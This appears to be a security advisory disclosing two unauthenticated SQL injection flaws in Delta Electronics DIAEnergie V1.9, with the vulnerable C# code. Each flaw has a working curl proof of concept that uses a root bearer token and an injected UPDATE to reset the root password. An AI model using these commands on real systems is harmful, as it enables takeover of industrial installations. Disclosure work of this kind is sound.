Delta Electronics DIAEnergie Multiple Vulnerabilities

Multiple SQL injection vulnerabilities exist in Delta Electronics DIAEnergie V1.9.

1) HandlerPageP_KID GetUDcontent SQLi (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
 
The specific flaw exists in the HandlerPageP_KID C# class when handling URL endpoint /DataHandler/HandlerPageP_KID.ashx with URL parameter ttype being 'GetUDcontent':  

# HandlerPageP_KID.ProcessRequest()
<...snip...>
        case "GetUDcontent":
        {
            int num3 = 0;
            int num4 = 0;
            string text26 = "select * from DIAE_UD where  HID='{0}' and kid='{1}'";
            dataTable = ADODB_Common.OpenDataTable(connectionString, string.Format(text26, text7, text2), false);
<...snip...>

An unauthenticated remote attacker can inject SQL statements in the HtmlId or KID URL parameter.

POC: change DIAEnergie root password to 'password123' (without quotes)

curl -i -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSg0ODE3MTQ1MjgwMDAwKVwvIn0.ceUAC-44b_zgu_5v7tmoTQ1X4sm8048B68d5BGKJ-xZkADYM5mTZFnDBzxtga3OtHveQbvPuvdDyCTE-YDo4JA' -d "ttype=GetUDcontent&HtmlId=1&KID=1';UPDATE%20DIAEnergie.dbo.DIAE_us%20SET%20pw=N'exJ/3E15SkSjem/EOj/JubyAEzX5F5zrBVKdPff2C9I='%20WHERE%20uid=1;--" 'http://<target-host>/DataHandler/HandlerPageP_KID.ashx'


2) HICT_Loop SQLi (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

The specific flaw exists in the HICT_Loop C# class:

# HICT_Loop.HICT_Loop()
<...snip...>
    public HICT_Loop(string hid, string egid, string kid, string eccid)
    {
        this._kid = kid;
        this._hid = hid;
        this._egid = egid;
        this._eccid = eccid;
        List<string> value = new List<string>();
        List<string> value2 = new List<string>();
        DataTable dataTable = new DataTable();
        string strSQL = string.Format("select udloopmapid as lid from DIAE_udloopmap  where DIAE_udloopmap.hier_id='{0}' and DIAE_udloopmap.egy_id ='{1}' and DIAE_udloopmap.kid ='{2}' ", hid, egid, kid);
        dataTable = ADODB_Common.OpenDataTable(HICT_Loop.cnnstr, strSQL, false);
<...snip...>

An unauthenticated remote attacker can inject SQL statements in the hier_id, egy_id, or kid URL parameter for endpoint /DataHandler/HandlerTag_KID.ashx.

POC: change DIAEnergie root password to 'password123' (without quotes)

curl -i -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSg0ODE3MTQ1MjgwMDAwKVwvIn0.ceUAC-44b_zgu_5v7tmoTQ1X4sm8048B68d5BGKJ-xZkADYM5mTZFnDBzxtga3OtHveQbvPuvdDyCTE-YDo4JA'  "http://<target-host>/DataHandler/HandlerTag_KID.ashx?ttype=GetLpId&hier_id=1&egy_id=1&kid=1';UPDATE%20DIAEnergie.dbo.DIAE_us%20SET%20pw=N'exJ/3E15SkSjem/EOj/JubyAEzX5F5zrBVKdPff2C9I='%20WHERE%20uid=1;--"